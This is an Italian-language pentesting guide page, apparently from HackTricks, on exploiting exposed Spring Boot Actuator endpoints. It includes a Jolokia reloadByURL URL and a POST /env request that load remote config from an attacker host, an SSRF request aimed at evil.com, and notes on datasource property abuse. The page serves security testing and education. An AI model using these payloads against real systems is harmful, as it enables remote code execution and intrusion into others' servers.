hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

5.7 KiB

Spring Actuators

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %} {% endhint %}

Spring Auth Bypass

Da https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Sfruttare gli Spring Boot Actuators

Controlla il post originale da [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Punti Chiave:

  • Gli Spring Boot Actuators registrano endpoint come /health, /trace, /beans, /env, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo /health e /info sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza.
  • Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, e /heapdump.
  • In Spring Boot 1.x, gli actuators sono registrati sotto l'URL radice, mentre in 2.x, sono sotto il percorso base /actuator/.

Tecniche di Sfruttamento:

  1. Esecuzione di Codice Remoto tramite '/jolokia':
  • L'endpoint dell'actuator /jolokia espone la Libreria Jolokia, che consente l'accesso HTTP agli MBeans.
  • L'azione reloadByURL può essere sfruttata per ricaricare le configurazioni di logging da un URL esterno, il che può portare a XXE cieco o Esecuzione di Codice Remoto tramite configurazioni XML create ad hoc.
  • URL di esempio per lo sfruttamento: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modifica della Configurazione tramite '/env':
  • Se le librerie Spring Cloud sono presenti, l'endpoint /env consente la modifica delle proprietà ambientali.
  • Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream nel servizio Eureka serviceURL.
  • Richiesta POST di esempio per lo sfruttamento:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Altre Impostazioni Utili:
  • Proprietà come spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, e spring.datasource.tomcat.max-active possono essere manipolate per vari sfruttamenti, come SQL injection o modifica delle stringhe di connessione al database.

Informazioni Aggiuntive:

  • Un elenco completo degli actuators predefiniti può essere trovato qui.
  • L'endpoint /env in Spring Boot 2.x utilizza il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso.

Argomenti Correlati:

  1. Env + H2 RCE:
  • I dettagli su come sfruttare la combinazione dell'endpoint /env e del database H2 possono essere trovati qui.
  1. SSRF su Spring Boot tramite Interpretazione Errata del Nome del Percorso:
  • La gestione dei parametri di matrice (;) nel framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF).
  • Richiesta di esempio per lo sfruttamento:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %} {% endhint %}